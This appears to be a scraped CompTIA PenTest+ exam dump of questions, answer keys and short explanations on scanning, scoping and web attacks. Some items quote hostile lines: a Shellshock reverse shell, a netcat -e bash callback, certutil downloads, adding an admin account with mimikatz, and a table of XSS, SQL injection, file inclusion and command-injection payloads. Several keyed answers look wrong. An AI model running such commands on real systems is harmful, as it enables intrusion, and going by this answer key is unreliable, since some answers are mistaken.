



# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

#### NEW QUESTION 1

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

- A. chmod u+x script.sh
- B. chmod u+e script.sh
- C. chmod o+e script.sh
- D. chmod o+x script.sh

**Answer: A**

#### NEW QUESTION 2

A penetration tester was able to compromise a server and escalate privileges. Which of the following should the tester perform AFTER concluding the activities on the specified target? (Choose two.)

- A. Remove the logs from the server.
- B. Restore the server backup.
- C. Disable the running services.
- D. Remove any tools or scripts that were installed.
- E. Delete any created credentials.
- F. Reboot the target server.

**Answer: DE**

#### NEW QUESTION 3

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

**Answer: AC**

#### NEW QUESTION 4

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

- A. The team exploits a critical server within the organization.
- B. The team exfiltrates PII or credit card data from the organization.
- C. The team loses access to the network remotely.
- D. The team discovers another actor on a system on the network.

**Answer: D**

#### NEW QUESTION 5

A penetration tester conducts an Nmap scan against a target and receives the following results:

```
Port      State  Service
1080/tcp  open  socks
```

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

- A. Nessus
- B. ProxyChains
- C. OWASPZAP
- D. Empire

**Answer: B**

#### NEW QUESTION 6

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])) {
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

**Answer: B**

#### NEW QUESTION 7

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

- A. Nmap
- B. Wireshark
- C. Metasploit
- D. Netcat

**Answer: B**

#### NEW QUESTION 8

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

- A. Nmap
- B. tcpdump
- C. Scapy
- D. hping3

**Answer: C**

#### Explanation:

[https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating\\_packets/index.html](https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html) <https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy>

#### NEW QUESTION 9

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

**Answer: D**

#### Explanation:

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

#### NEW QUESTION 10

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

**Answer: B**

#### NEW QUESTION 10

A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

- A. Prohibiting exploitation in the production environment
- B. Requiring all testers to review the scoping document carefully
- C. Never assessing the production networks
- D. Prohibiting testers from joining the team during the assessment

**Answer: B**

#### NEW QUESTION 11

Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?

- A. Scope details
- B. Findings
- C. Methodology
- D. Statement of work

**Answer: C**

#### NEW QUESTION 15

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

- A. NDA
- B. MSA
- C. SOW
- D. MOU

**Answer: C**

#### NEW QUESTION 18

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "() { ignored; };bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. exploits = {"User-Agent": "() { ignored; };bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
- B. exploits = {"User-Agent": "() { ignored; };bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
- C. exploits = {"User-Agent": "() { ignored; };bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
- D. exploits = {"User-Agent": "() { ignored; };bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

**Answer: A**

#### NEW QUESTION 23

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

- A. Wireshark
- B. Aircrack-ng
- C. Kismet
- D. Wifite

**Answer: B**

#### NEW QUESTION 27

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

- A. nmap -T3 192.168.0.1
- B. nmap -P0 192.168.0.1
- C. nmap -T0 192.168.0.1
- D. nmap -A 192.168.0.1

**Answer: C**

#### NEW QUESTION 30

A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)

- A. Setting up a secret management solution for all items in the source code management system
- B. Implementing role-based access control on the source code management system
- C. Configuring multifactor authentication on the source code management system
- D. Leveraging a solution to scan for other similar instances in the source code management system
- E. Developing a secure software development life cycle process for committing code to the source code management system
- F. Creating a trigger that will prevent developers from including passwords in the source code management system

**Answer: AE**

#### Explanation:

Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data. Some possible options for addressing the issue of access keys within an organization's SCM solution are:

➤ Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc. A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files<sup>3456</sup>.

➤ Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc. A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the SCM system<sup>1</sup>.

#### NEW QUESTION 34

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.
- D. Utilize a pass-the-hash attack.

**Answer:** D

#### NEW QUESTION 35

A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

- A. Situational awareness
- B. Rescheduling
- C. DDoS defense
- D. Deconfliction

**Answer:** D

#### Explanation:

<https://redteam.guide/docs/definitions/>

#### NEW QUESTION 36

A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?

- A. SQLmap
- B. DirBuster
- C. w3af
- D. OWASP ZAP

**Answer:** C

#### Explanation:

W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename bruteforcing in its list of capabilities.

#### NEW QUESTION 37

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

- A. Run another scanner to compare.
- B. Perform a manual test on the server.
- C. Check the results on the scanner.
- D. Look for the vulnerability online.

**Answer:** B

#### NEW QUESTION 41

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

- A. WHOIS domain lookup
- B. Job listing and recruitment ads
- C. SSL certificate information
- D. Public data breach dumps

**Answer:** A

#### Explanation:

The BEST passive method of obtaining the technical contacts for the website would be a WHOIS domain lookup. WHOIS is a protocol that provides information about registered domain names, such as the registration date, registrant's name and contact information, and the name servers assigned to the domain. By performing a WHOIS lookup, the penetration tester can obtain the contact information of the website's technical staff, which can be used to craft a convincing phishing email.

#### NEW QUESTION 46

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the:

- A. NDA
- B. SLA
- C. MSA
- D. SOW

Answer: A

**Explanation:**

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the NDA, which stands for Non-Disclosure Agreement. The NDA is a legal agreement between two or more parties that outlines confidential material or knowledge that the parties wish to share with one another, but with restrictions on access, use or disclosure of that information. The NDA is commonly used in the context of penetration testing to protect the client's sensitive information that the tester may have access to during the engagement.

The NDA defines the terms of confidentiality and non-disclosure of information related to the engagement, including the responsibilities and obligations of both the tester and the client to ensure that any information exchanged or obtained during the engagement is kept confidential and not disclosed to unauthorized parties.

This is particularly important in penetration testing, as the tester is granted access to the client's network and systems, and may uncover vulnerabilities or sensitive information that should not be disclosed to unauthorized parties.

In summary, the NDA plays a crucial role in defining the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure of confidential information, and is an important legal instrument for protecting the client's sensitive information during a penetration testing engagement.

**NEW QUESTION 49**

Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

- A. Shodan
- B. Nmap
- C. WebScarab-NG
- D. Nessus

Answer: B

**NEW QUESTION 51**

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

**Penetration Testing**

Part 1

Part 2

Drag and Drop Options

- sL
- O
- 192.168.2.2
- sU
- sV
- p 1-1023
- 192.168.2.1-100
- Pn
- nc
- top-ports=1000
- hping
- top-ports=100
- nmap

**NMAP Scan Output**

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

**Command**

?

Penetration Testing

Part 1

Part 2

Question Options	NMAP Scan Output
Using the output, identify potential attack vectors that should be further investigated.	<pre> Host is up (0.00079s latency). Not shown: 96 closed ports PORT STATE SERVICE VERSION 88/tcp open  kerberos-sec? 139/tcp open netbios-ssn 389/tcp open  ldap? 445/tcp open  microsoft-ds? MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.4.X OS CPE: cpe:/o:linux_kernel:2.4.21 OS details: Linux 2.4.21 Network Distance: 1 hop  OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/. # Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up) scanned in 26.80 seconds                     </pre>
<input type="checkbox"/> Weak SMB file permissions	
<input type="checkbox"/> FTP anonymous login	
<input type="checkbox"/> Webdav file upload	
<input type="checkbox"/> Weak Apache Tomcat Credentials	
<input type="checkbox"/> Null session enumeration	
<input type="checkbox"/> Fragmentation attack	
<input type="checkbox"/> SNMP enumeration	
<input type="checkbox"/> ARP spoofing	

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns Part 2 - Weak SMB file permissions  
<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

**NEW QUESTION 55**

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

- A. Cross-site request forgery
- B. Server-side request forgery
- C. Remote file inclusion
- D. Local file inclusion

**Answer:** B

**NEW QUESTION 59**

A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

- A. Terminate the contract.
- B. Update the ROE with new signature
- C. Most Voted
- D. Scan the 8-bit block to map additional missed hosts.
- E. Continue the assessment.

**Answer:** B

**NEW QUESTION 63**

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

- A. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- B. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- C. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- D. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe

**Answer:** A

**Explanation:**

<https://www.bleepingcomputer.com/news/security/certutil.exe-could-allow-attackers-to-download-malware-while>

--- <https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk>

#### NEW QUESTION 67

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

**Answer:** A

#### NEW QUESTION 72

A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

- A. OpenVAS
- B. Nikto
- C. SQLmap
- D. Nessus

**Answer:** C

#### NEW QUESTION 73

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

- A. The penetration tester conducts a retest.
- B. The penetration tester deletes all scripts from the client machines.
- C. The client applies patches to the systems.
- D. The client clears system logs generated during the test.

**Answer:** C

#### NEW QUESTION 76

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

`http://company.com/catalog.asp?productid=22`

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

`http://company.com/catalog.asp?productid=22;WAITFOR`

`DELAY '00:00:05'`

Which of the following should the penetration tester attempt NEXT?

- A. `http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'`
- B. `http://company.com/catalog.asp?productid=22' OR 1=1 -`
- C. `http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -`
- D. `http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash`

**Answer:** C

#### Explanation:

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

#### NEW QUESTION 77

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:

`U3VQZXIkM2NyZXQhCg==`

Which of the following commands should the tester use NEXT to decode the contents of the file?

- A. `echo U3VQZXIkM2NyZXQhCg== | base64 -d`
- B. `tar zxvf password.txt`
- C. `hydra -l svacct -p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24`
- D. `john --wordlist /usr/share/seclists/rockyou.txt password.txt`

**Answer:** A

#### NEW QUESTION 81

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

Payloads	Vulnerability Type	Remediation
#inner-tab"><script>alert(1)</script>	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
item=widget";waitfor%20delay%20'00:00:20';--	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
item=widget%20union%20select%20null,null,@version;--	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
search=Bob%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
item=widget"+convert(int,@version)*"	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
site=www.exe'ping%20-c%2010%20localhost'mple.com	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
redir=http:%2f%2fwww.malicious-site.com	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
logfile=%2fetc%2fpasswd%00	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
lookup=\$(whoami)	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>
logfile=http:%2f%2fwww.malicious-site.com%2fshell.txt	<ul style="list-style-type: none"> <li>Command Injection</li> <li>DOM-based Cross Site Scripting</li> <li>SQL Injection (Error)</li> <li>SQL Injection (Stacked)</li> <li>SQL Injection (Union)</li> <li>Reflected Cross Site Scripting</li> <li>Local File Inclusion</li> <li>Remote File Inclusion</li> <li>URL Redirect</li> </ul>	<ul style="list-style-type: none"> <li>Parameterized queries</li> <li>Preventing external calls</li> <li>Input Sanitization ... \ / . sandbox requests</li> <li>Input Sanitization ... \$ [ ] ( )</li> <li>Input Sanitization ... &lt; &gt; .</li> </ul>

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

- \* 1. Reflected XSS - Input sanitization (<> ...)
- \* 2. Sql Injection Stacked - Parameterized Queries
- \* 3. DOM XSS - Input Sanitization (<> ...)
- \* 4. Local File Inclusion - sandbox req
- \* 5. Command Injection - sandbox req
- \* 6. SQLi union - paramtrized queries
- \* 7. SQLi error - paramtrized queries

- \* 8. Remote File Inclusion - sandbox
- \* 9. Command Injection - input sanitization
- \* 10. URL redirect - prevent external calls

#### NEW QUESTION 86

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

**Answer: C**

#### Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.  
Ref: <https://www.okta.com/identity-101/fraggle-attack/>

#### NEW QUESTION 90

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

**Answer: D**

#### Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence of idle open connections may result into errors that cannot be handled by the devices.

#### NEW QUESTION 94

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

- A. Deny that the vulnerability existed
- B. Investigate the penetration tester.
- C. Accept that the client was right.
- D. Fire the penetration tester.

**Answer: B**

#### NEW QUESTION 95

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

- A. Whether sensitive client data is publicly accessible
- B. Whether the connection between the cloud and the client is secure
- C. Whether the client's employees are trained properly to use the platform
- D. Whether the cloud applications were developed using a secure SDLC

**Answer: A**

#### NEW QUESTION 96

Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

- A. DirBuster
- B. CeWL
- C. w3af
- D. Patator

**Answer: B**

#### Explanation:

CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.  
<https://esgeeks.com/como-utilizar-cewl/>

#### NEW QUESTION 97

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

- A. Maximizing the likelihood of finding vulnerabilities
- B. Reprioritizing the goals/objectives
- C. Eliminating the potential for false positives
- D. Reducing the risk to the client environment

**Answer: B**

#### Explanation:

Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

#### NEW QUESTION 100

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

**Answer: C**

#### NEW QUESTION 105

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

```
https://xx.xx.xx.x/vpn/ ../vpns/portal/scripts/newbm.pl
https://xx.xx.xx.x/vpn/ ../vpns/portal/scripts/rmbm.pl
https://xx.xx.xx.x/vpn/ ../vpns/portal/scripts/pikctHEME.pl
https://xx.xx.xx.x/vpn/ ../vpns/cfg/smb.conf
```

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

- A. Edit the discovered file with one line of code for remote callback
- B. Download .pl files and look for usernames and passwords
- C. Edit the smb.conf file and upload it to the server
- D. Download the smb.conf file and look at configurations

**Answer: C**

#### NEW QUESTION 107

A penetration tester ran the following commands on a Windows server:

```
schtasks
echo net user svaccount password /add >> batchjopb3.bat
echo net localgroup Administrators svaccount /add >> batchjopb3.bat
net user svaccount
runas /user:svaccount mimikatz
```

Which of the following should the tester do AFTER delivering the final report?

- A. Delete the scheduled batch job.
- B. Close the reverse shell connection.
- C. Downgrade the svaccount permissions.
- D. Remove the tester-created credentials.

**Answer: D**

#### NEW QUESTION 112

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

- A. Buffer overflows
- B. Cross-site scripting
- C. Race-condition attacks
- D. Zero-day attacks
- E. Injection flaws
- F. Ransomware attacks

**Answer: BE**

#### Explanation:

A01-Injection  
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE

A05-Broken Access Control A06-Security Misconfiguration A07-XSS  
 A08-Insecure Deserialization  
 A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

#### NEW QUESTION 114

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

- A. PLCs will not act upon commands injected over the network.
- B. Supervisors and controllers are on a separate virtual network by default.
- C. Controllers will not validate the origin of commands.
- D. Supervisory systems will detect a malicious injection of code/commands.

**Answer:** C

#### NEW QUESTION 118

A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:

```
sendp(Ether()/dot1q(vlan=100)/dotq(vlan=50)/IP(dst="172.16.50.10")/ICMP())
```

Which of the following represents what the penetration tester is attempting to accomplish?

- A. DNS cache poisoning
- B. MAC spoofing
- C. ARP poisoning
- D. Double-tagging attack

**Answer:** D

#### Explanation:

<https://scapy.readthedocs.io/en/latest/usage.html>

#### NEW QUESTION 120

A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

- A. nmap -oG list.txt 192.168.0.1-254 , sort
- B. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print \$5}'
- C. nmap --open 192.168.0.1-254, uniq
- D. nmap -o 192.168.0.1-254, cut -f 2

**Answer:** B

#### Explanation:

